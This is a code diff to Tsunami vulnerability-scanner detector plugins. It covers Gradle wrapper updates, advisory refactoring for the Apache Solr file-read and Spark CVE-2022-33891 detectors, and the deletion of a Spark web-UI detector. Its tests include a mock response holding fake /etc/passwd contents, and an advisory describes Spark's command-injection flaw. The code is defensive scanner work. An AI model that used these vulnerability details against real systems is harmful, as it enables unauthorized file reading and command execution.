detect_whenNoVulnerable_returnsNoFinding() throws IOException { + createInjector(); + mockWebServer.setDispatcher(new SafeEndpointDispatcher()); + mockWebServer.start(); + + ImmutableList httpServices = + ImmutableList.of( + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .setTransportProtocol(TransportProtocol.TCP) + .setServiceName("http") + .build()); + + TargetInfo targetInfo = buildTargetInfo(forHostname(mockWebServer.getHostName())); + DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); + assertThat(detectionReports.getDetectionReportsList()).isEmpty(); + assertThat(mockWebServer.getRequestCount()).isGreaterThan(1); + } + + private static final class VulnerableEndpointDispatcher extends Dispatcher { + + @Override + public MockResponse dispatch(RecordedRequest recordedRequest) { + return new MockResponse() + .setResponseCode(HttpStatus.OK.code()) + .setBody( + "root:x:0:0:root:/root:/bin/bash\n" + + "bin:x:1:1:bin:/bin:/sbin/nologin\n" + + "daemon:x:2:2:daemon:/sbin:/sbin/nologin"); + } + } + + private static final class SafeEndpointDispatcher extends Dispatcher { + + @Override + public MockResponse dispatch(RecordedRequest recordedRequest) { + if (recordedRequest.getPath().startsWith("/cgi-bin/")) { + return new MockResponse().setResponseCode(HttpStatus.FORBIDDEN.code()); + } + return new MockResponse().setResponseCode(HttpStatus.OK.code()); + } + } + + private static TargetInfo buildTargetInfo(NetworkEndpoint networkEndpoint) { + return TargetInfo.newBuilder().addNetworkEndpoints(networkEndpoint).build(); + } +} diff --git a/community/detectors/apache_solr_arbitrary_file_reading/gradle/wrapper/gradle-wrapper.jar b/community/detectors/apache_solr_arbitrary_file_reading/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/community/detectors/apache_solr_arbitrary_file_reading/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/apache_solr_arbitrary_file_reading/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/apache_solr_arbitrary_file_reading/gradle/wrapper/gradle-wrapper.properties b/community/detectors/apache_solr_arbitrary_file_reading/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/apache_solr_arbitrary_file_reading/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/apache_solr_arbitrary_file_reading/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/apache_solr_arbitrary_file_reading/gradlew b/community/detectors/apache_solr_arbitrary_file_reading/gradlew index 1aa94a426..23d15a936 100755 --- a/community/detectors/apache_solr_arbitrary_file_reading/gradlew +++ b/community/detectors/apache_solr_arbitrary_file_reading/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/apache_solr_arbitrary_file_reading/gradlew.bat b/community/detectors/apache_solr_arbitrary_file_reading/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/community/detectors/apache_solr_arbitrary_file_reading/gradlew.bat +++ b/community/detectors/apache_solr_arbitrary_file_reading/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/apache_solr_arbitrary_file_reading/src/main/java/com/google/tsunami/plugins/detectors/solr/ApacheSolrArbitraryFileReadingDetector.java b/community/detectors/apache_solr_arbitrary_file_reading/src/main/java/com/google/tsunami/plugins/detectors/solr/ApacheSolrArbitraryFileReadingDetector.java index 74e60c903..838af231e 100644 --- a/community/detectors/apache_solr_arbitrary_file_reading/src/main/java/com/google/tsunami/plugins/detectors/solr/ApacheSolrArbitraryFileReadingDetector.java +++ b/community/detectors/apache_solr_arbitrary_file_reading/src/main/java/com/google/tsunami/plugins/detectors/solr/ApacheSolrArbitraryFileReadingDetector.java @@ -120,6 +120,21 @@ public DetectionReportList detect( .build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("APACHE_SOLR_REMOTE_STREAMING_FILE_READING")) + .setSeverity(Severity.HIGH) + .setTitle("Apache Solr RemoteStreaming Arbitrary File Reading") + .setDescription(DESCRIPTION) + .setRecommendation(RECOMMENDATION) + .build()); + } + private CheckResult checkService(NetworkService networkService) { for (String core : getCores(networkService)) { var checkTracesBuilder = CheckTraces.builder(); @@ -239,16 +254,7 @@ private DetectionReport buildDetectionReport(TargetInfo targetInfo, CheckResult .setNetworkService(checkResult.networkService()) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("APACHE_SOLR_REMOTE_STREAMING_FILE_READING")) - .setSeverity(Severity.HIGH) - .setTitle("Apache Solr RemoteStreaming Arbitrary File Reading") - .setDescription(DESCRIPTION) - .setRecommendation(RECOMMENDATION)); + .setVulnerability(this.getAdvisories().get(0)); checkResult .checkTraces() .ifPresent( diff --git a/community/detectors/apache_solr_arbitrary_file_reading/src/test/java/com/google/tsunami/plugins/detectors/solr/ApacheSolrArbitraryFileReadingDetectorTest.java b/community/detectors/apache_solr_arbitrary_file_reading/src/test/java/com/google/tsunami/plugins/detectors/solr/ApacheSolrArbitraryFileReadingDetectorTest.java index fd3d19ce6..79ce06b85 100644 --- a/community/detectors/apache_solr_arbitrary_file_reading/src/test/java/com/google/tsunami/plugins/detectors/solr/ApacheSolrArbitraryFileReadingDetectorTest.java +++ b/community/detectors/apache_solr_arbitrary_file_reading/src/test/java/com/google/tsunami/plugins/detectors/solr/ApacheSolrArbitraryFileReadingDetectorTest.java @@ -18,8 +18,6 @@ import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; -import static com.google.tsunami.plugins.detectors.solr.ApacheSolrArbitraryFileReadingDetector.DESCRIPTION; -import static com.google.tsunami.plugins.detectors.solr.ApacheSolrArbitraryFileReadingDetector.RECOMMENDATION; import static java.nio.charset.StandardCharsets.UTF_8; import com.google.common.collect.ImmutableList; @@ -35,13 +33,10 @@ import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TextData; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -52,17 +47,14 @@ import org.junit.runner.RunWith; import org.junit.runners.JUnit4; -/** - * Unit tests for {@link ApacheSolrArbitraryFileReadingDetector}. - */ +/** Unit tests for {@link ApacheSolrArbitraryFileReadingDetector}. */ @RunWith(JUnit4.class) public final class ApacheSolrArbitraryFileReadingDetectorTest { private final FakeUtcClock fakeUtcClock = FakeUtcClock.create().setNow(Instant.parse("2020-01-01T00:00:00.00Z")); - @Inject - private ApacheSolrArbitraryFileReadingDetector detector; + @Inject private ApacheSolrArbitraryFileReadingDetector detector; private MockWebServer mockWebServer; private NetworkService solrService; @@ -108,15 +100,7 @@ public void detect_whenSolrIsVulnerable_reportsVuln() throws IOException { Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("APACHE_SOLR_REMOTE_STREAMING_FILE_READING")) - .setSeverity(Severity.HIGH) - .setTitle("Apache Solr RemoteStreaming Arbitrary File Reading") - .setDescription(DESCRIPTION) - .setRecommendation(RECOMMENDATION) + detector.getAdvisories().get(0).toBuilder() .addAdditionalDetails(buildAdditionalDetail("vulnerable_check_trace.txt"))) .build()); } @@ -145,15 +129,7 @@ public void detect_whenSolrIsVulnerableWithPermissionDenied_reportsVuln() throws Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("APACHE_SOLR_REMOTE_STREAMING_FILE_READING")) - .setSeverity(Severity.HIGH) - .setTitle("Apache Solr RemoteStreaming Arbitrary File Reading") - .setDescription(DESCRIPTION) - .setRecommendation(RECOMMENDATION) + detector.getAdvisories().get(0).toBuilder() .addAdditionalDetails( buildAdditionalDetail("vulnerable_with_permission_denied_trace.txt"))) .build()); @@ -183,15 +159,7 @@ public void detect_whenSolrIsVulnerableWithFileNotFound_reportsVuln() throws IOE Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("APACHE_SOLR_REMOTE_STREAMING_FILE_READING")) - .setSeverity(Severity.HIGH) - .setTitle("Apache Solr RemoteStreaming Arbitrary File Reading") - .setDescription(DESCRIPTION) - .setRecommendation(RECOMMENDATION) + detector.getAdvisories().get(0).toBuilder() .addAdditionalDetails( buildAdditionalDetail("vulnerable_with_file_not_found_trace.txt"))) .build()); @@ -207,11 +175,11 @@ public void detect_whenSolrIsNotVulnerable_doesNotReportVuln() { mockWebServer.url("/"); assertThat( - detector - .detect( - buildTargetInfo(forHostname(mockWebServer.getHostName())), - ImmutableList.of(solrService)) - .getDetectionReportsList()) + detector + .detect( + buildTargetInfo(forHostname(mockWebServer.getHostName())), + ImmutableList.of(solrService)) + .getDetectionReportsList()) .isEmpty(); } diff --git a/community/detectors/apache_spark_cve_2022_33891/gradle/wrapper/gradle-wrapper.jar b/community/detectors/apache_spark_cve_2022_33891/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/community/detectors/apache_spark_cve_2022_33891/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/apache_spark_cve_2022_33891/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/apache_spark_cve_2022_33891/gradle/wrapper/gradle-wrapper.properties b/community/detectors/apache_spark_cve_2022_33891/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/apache_spark_cve_2022_33891/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/apache_spark_cve_2022_33891/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/apache_spark_cve_2022_33891/gradlew b/community/detectors/apache_spark_cve_2022_33891/gradlew index 1aa94a426..23d15a936 100755 --- a/community/detectors/apache_spark_cve_2022_33891/gradlew +++ b/community/detectors/apache_spark_cve_2022_33891/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/apache_spark_cve_2022_33891/gradlew.bat b/community/detectors/apache_spark_cve_2022_33891/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/community/detectors/apache_spark_cve_2022_33891/gradlew.bat +++ b/community/detectors/apache_spark_cve_2022_33891/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891VulnDetector.java b/community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891VulnDetector.java index a8b09fec7..b88fb37d4 100644 --- a/community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891VulnDetector.java +++ b/community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891VulnDetector.java @@ -90,6 +90,28 @@ public DetectionReportList detect( .build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2022_33891")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2022-33891")) + .setSeverity(Severity.CRITICAL) + .setTitle("CVE-2022-33891 Apache Spark UI RCE") + .setDescription( + "The Apache Spark UI has spark.acls.enable configuration option which provides" + + " capability to modify the application according to user's permissions." + + " When the config is true, the vulnerable versions of Spark checks the" + + " group membership of the user without proper controls, that results in" + + " blind command injection in username parameter.") + .setRecommendation("You can upgrade your Spark instances to 3.2.2, or 3.3.0 or later") + .build()); + } + private boolean isServiceVulnerable(NetworkService networkService) { return isRceExecutable(networkService); } @@ -157,22 +179,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2022_33891")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2022-33891 Apache Spark UI RCE") - .setDescription( - "The Apache Spark UI has spark.acls.enable configuration option which provides" - + " capability to modify the application according to user's permissions." - + " When the config is true, the vulnerable versions of Spark checks the" - + " group membership of the user without proper controls, that results in" - + " blind command injection in username parameter.") - .setRecommendation( - "You can upgrade your Spark instances to 3.2.2, or 3.3.0 or later")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/community/detectors/apache_spark_cve_2022_33891/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891DetectorWithCallbackServerTest.java b/community/detectors/apache_spark_cve_2022_33891/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891DetectorWithCallbackServerTest.java index 74d7841b8..897f239b9 100644 --- a/community/detectors/apache_spark_cve_2022_33891/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891DetectorWithCallbackServerTest.java +++ b/community/detectors/apache_spark_cve_2022_33891/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891DetectorWithCallbackServerTest.java @@ -33,12 +33,9 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -115,23 +112,7 @@ public void detect_whenVulnerable_returnsVulnerability() throws IOException { .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2022_33891")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2022-33891 Apache Spark UI RCE") - .setRecommendation( - "You can upgrade your Spark instances to 3.2.2, or 3.3.0 or later") - .setDescription( - "The Apache Spark UI has spark.acls.enable configuration option which" - + " provides capability to modify the application according to" - + " user's permissions. When the config is true, the vulnerable" - + " versions of Spark checks the group membership of the user" - + " without proper controls, that results in blind command" - + " injection in username parameter.")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); assertThat(mockWebServer.getRequestCount()).isEqualTo(1); assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); diff --git a/community/detectors/apache_spark_cve_2022_33891/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891DetectorWithoutCallbackServerTest.java b/community/detectors/apache_spark_cve_2022_33891/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891DetectorWithoutCallbackServerTest.java index 0db98810b..7d6430e2b 100644 --- a/community/detectors/apache_spark_cve_2022_33891/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891DetectorWithoutCallbackServerTest.java +++ b/community/detectors/apache_spark_cve_2022_33891/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891DetectorWithoutCallbackServerTest.java @@ -33,12 +33,9 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -112,23 +109,7 @@ public void detect_whenVulnerable_returnsVulnerability() throws Exception { .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2022_33891")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2022-33891 Apache Spark UI RCE") - .setRecommendation( - "You can upgrade your Spark instances to 3.2.2, or 3.3.0 or later") - .setDescription( - "The Apache Spark UI has spark.acls.enable configuration option which" - + " provides capability to modify the application according to" - + " user's permissions. When the config is true, the vulnerable" - + " versions of Spark checks the group membership of the user" - + " without proper controls, that results in blind command" - + " injection in username parameter.")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); assertThat(mockWebServer.getRequestCount()).isEqualTo(1); } diff --git a/community/detectors/apache_spark_exposed_webui/README.md b/community/detectors/apache_spark_exposed_webui/README.md deleted file mode 100644 index cc7b08b04..000000000 --- a/community/detectors/apache_spark_exposed_webui/README.md +++ /dev/null @@ -1,23 +0,0 @@ -# Apache Sparks exposed Web UI - -This detector checks for an exposed Apache Spark Web UI. - -An Apache Spark Web Ui which is exposed to an attacker might disclose sensitive -information to them. An attacker can retrieve information such as the configured -workers and master node within the Apache Sparks environment. Furthermore, an -attacker gains access to the output logs of run tasks. This might disclose -sensitive information if a task is logging sensitive information during its -execution. - -The Web UI is exposed on the root path of the Apache Sparks instance. An -exemplary URI might look like the following: `http://:8080/` - -## Build jar file for this plugin - -Using `gradlew`: - -```shell -./gradlew jar -``` - -Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/community/detectors/apache_spark_exposed_webui/gradle/wrapper/gradle-wrapper.jar b/community/detectors/apache_spark_exposed_webui/gradle/wrapper/gradle-wrapper.jar deleted file mode 100644 index e6441136f..000000000 Binary files a/community/detectors/apache_spark_exposed_webui/gradle/wrapper/gradle-wrapper.jar and /dev/null differ diff --git a/community/detectors/apache_spark_exposed_webui/settings.gradle b/community/detectors/apache_spark_exposed_webui/settings.gradle deleted file mode 100644 index 8aaafed2c..000000000 --- a/community/detectors/apache_spark_exposed_webui/settings.gradle +++ /dev/null @@ -1,2 +0,0 @@ -rootProject.name = 'apache_sparks_exposed_webui' - diff --git a/community/detectors/apache_spark_exposed_webui/src/main/java/com/google/tsunami/plugins/detectors/apachesparksexposedwebui/ApacheSparksExposedWebuiVulnDetector.java b/community/detectors/apache_spark_exposed_webui/src/main/java/com/google/tsunami/plugins/detectors/apachesparksexposedwebui/ApacheSparksExposedWebuiVulnDetector.java deleted file mode 100644 index c2af3f696..000000000 --- a/community/detectors/apache_spark_exposed_webui/src/main/java/com/google/tsunami/plugins/detectors/apachesparksexposedwebui/ApacheSparksExposedWebuiVulnDetector.java +++ /dev/null @@ -1,132 +0,0 @@ -package com.google.tsunami.plugins.detectors.apachesparksexposedwebui; - -import static com.google.common.base.Preconditions.checkNotNull; -import static com.google.common.collect.ImmutableList.toImmutableList; -import static com.google.tsunami.common.net.http.HttpRequest.get; - -import com.google.common.collect.ImmutableList; -import com.google.common.flogger.GoogleLogger; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.data.NetworkServiceUtils; -import com.google.tsunami.common.net.http.HttpClient; -import com.google.tsunami.common.net.http.HttpHeaders; -import com.google.tsunami.common.net.http.HttpResponse; -import com.google.tsunami.common.net.http.HttpStatus; -import com.google.tsunami.common.time.UtcClock; -import com.google.tsunami.plugin.PluginType; -import com.google.tsunami.plugin.VulnDetector; -import com.google.tsunami.plugin.annotations.PluginInfo; -import com.google.tsunami.plugin.payload.PayloadGenerator; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; -import java.io.IOException; -import java.time.Clock; -import java.time.Instant; -import java.util.regex.Pattern; -import javax.inject.Inject; - -/** A Tsunami plugin for detecting an exposed Apache Spark Web UI. */ -@PluginInfo( - type = PluginType.VULN_DETECTION, - name = 